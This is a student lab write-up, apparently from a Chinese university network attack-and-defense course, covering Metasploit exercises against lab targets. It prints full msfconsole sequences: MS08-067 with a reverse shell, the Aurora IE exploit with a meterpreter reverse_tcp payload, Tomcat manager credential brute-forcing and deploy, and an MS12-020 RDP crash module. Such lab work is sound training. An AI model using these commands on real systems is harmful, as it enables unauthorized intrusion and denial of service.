• 20192429马一 202120222 《网络与系统攻防》实验六 Metasploit攻击渗透实践


    20192429马一 2021-2022-2 《网络与系统攻防》 实验六 Metasploit攻击渗透实践

    一、实验要求

    • 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
      一个主动攻击实践,尽量使用最新的类似漏洞
      一个针对浏览器的攻击,尽量使用最新的类似漏洞
      一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞
      成功应用任何一个辅助模块

    二、实验内容

    Metasploit介绍

    • 开源软件Metasploit是H.D. Moore在2003年开发的,它是少数几个可用于执行诸多渗透测试步骤的工具。在发现新漏洞时(这是很常见的),Metasploit会监控Rapid7,然后Metasploit的200,000多个用户会将漏洞添加到Metasploit的目录上。然后,任何人只要使用Metasploit,就可以用它来测试特定系统的是否有这个漏洞。
    • Metasploit框架使Metasploit具有良好的可扩展性,它的控制接口负责发现漏洞、攻击漏洞,提交漏洞,然后通过一些接口加入攻击后处理工具和报表工具。Metasploit框架可以从一个漏洞扫描程序导入数据,使用关于有漏洞主机的详细信息来发现可攻击漏洞,然后使用有效载荷对系统发起攻击。所有这些操作都可以通过Metasploit的Web界面进行管理,而它只是其中一种种管理接口,另外还有命令行工具和一些商业工具等等。

    渗透攻击(Exploit)

    • 渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。

    攻击载荷(Payload)

    • 攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。

    溢出代码(Shellcode)

    • shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。

    模块(Module)

    • 在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。

    监听器(Listener)

    • 监听器是MSF中用来等待连入网络连接的组件

    三、实验步骤

    3.1 一个主动攻击实践

    • 攻击机: GUI/Linux Kali 192.168.31.129 , 靶机:Winxp SP2 192.168.31.138
    • 在攻击机中输入 msfconsole 进入控制台后,输入如下指令

    use exploit/windows/smb/ms08_067_netapi
    set payload generic/shell_reverse_tcp //设置合适载荷
    set LHOST 192.168.31.129 //攻击机IP
    set LPORT 2429 //攻击机端口
    set RHOST 192.168.31.138 //靶机IP 漏洞已经绑定特定端口
    set target 0 //选择系统类型为xp
    exploit //攻击!

    • MS08_067安全漏洞原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC请求,通过MSRPC接口调用serve服务函数NetPathCanonicalize函数对进行远程访问的路径规范化,而此函数中存在栈缓冲区内存漏洞,可被利用实施远程代码执行
    • 可以看到,此处已经获得靶机的shell,并且可以查看靶机的版本

    3.2 一个针对浏览器的攻击

    • 攻击机: GUI/Linux Kali 192.168.31.129 , 靶机:Winxp SP2 192.168.31.138

    • 查看靶机的IE浏览器的版本是 6.0.29,所以需要查询能够利用winxp的IE6.0版本的漏洞

    • 此处我使用的是ms10-002漏洞即针对Internet Explorer“极光”内存损坏的攻击

    • 在攻击机中进入控制台后输入如下命令:

    use exploit/windows/browser/ms10_002_aurora
    set payload windows/meterpreter/reverse_tcp //选择可以生成tcp反弹链接网站的payload
    set LHOST 192.168.31.129 //设置反弹链接
    set LPORT 2429 //设置反弹端口
    exploit //开始攻击
    生成了反弹链接:192.168.31.129:8080/fIm3ZsvYs

    • 在靶机的IE浏览器中输入网址打开后,在攻击机中就得到一个新session,打开这个session,就可以获得靶机的控制权

    3.3 一个针对客户端的攻击

    • 攻击机: GUI/Linux Kali 192.168.31.129 , 靶机:Linux metasploitable i686 192.168.31.139

    • tomcat管理员将用户名和密码设置成弱口令,导致可以所以获取session链接,进而上传恶意代码控制服务器。

    • 使用** nmap -sV 192.168.31.139** 扫描靶机开放了哪些端口和服务,可以看到,tomcat所绑定了8180端口是打开状态。

    • 查看tomcat模块,use tomcat_mgr_login 设置IP地址和端口,run后得到tomcat的用户名和口令

    • use tomcat_mgr_deploy 设置靶机IP和端口,同时配置刚刚获取的用户名和口令,使用exploit进行攻击

    • 可以得到靶机控制权进而得到shell

    3.4 成功应用任何一个辅助模块

    • 攻击机: GUI/Linux Kali 192.168.31.129 , 靶机:Win2kServer_SP0 :192.168.3.36
    • 死亡蓝屏漏洞:RDP协议是一个多通道的协议,让用户连上提供微软终端机服务的电脑。 windows在处理某些对象时存在错误,可通过特制的RDP报文访问未初始化或已经删除的对象,导致任意代码执行。 然后控制系统。

    search ms12_020
    use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
    set RHOST 192.168.31.129
    run

    • 攻击成功后,靶机蓝屏

    四、问题以及解决方案

    4.1 在执行adobe的漏洞文件的时候,adobe自动弹出暂停使用adobe,可以解释为adobe攻击失败

    • adobe版本过高

    五、学习感悟

    • 本次实验重点在于尝试不同metasploit的模块,进行多种不同的攻击,最终获取靶机的控制权或造成靶机崩溃,值得注意的是,每一种靶机所适配的漏洞环境不同,所使用的载荷也相应不同,由于我一直使用的是恶意代码课程的纯净版xp系统,所以在我进行实验的过程中,或多或少得出现了无法攻击的情况,比如对于浏览器的攻击,我尝试了10余钟漏洞才攻击成功,漏洞复现不仅仅是要看系统的版本,还要看所攻击的服务器,客户端的版本。这不仅考验我的信息搜集的能力,还考验着我的耐性,看似简单的实验,其实想要找到合适高效的攻击漏洞,也要花费相当的精力和时间。
  • 相关阅读:
    SpringBoot整合Shiro实现基于角色的权限访问控制(RBAC)系统简单设计从零搭建
    Spring Cloud Feign 总结
    Spring Cloud Eureka 总结
    基于Shiro,JWT实现微信小程序登录完整例子
    解决JPA懒加载典型的N+1问题-注解@NamedEntityGraph
    一个微服务+DDD(领域驱动设计)的代码结构示例
    造轮子-AgileConfig基于.NetCore的一个轻量级配置中心
    ASP.NET Core Blazor 初探之 Blazor WebAssembly
    .Net Core
    AServer
  • 原文地址:https://www.cnblogs.com/meeyee/p/16270050.html
Copyright © 2020-2023  润新知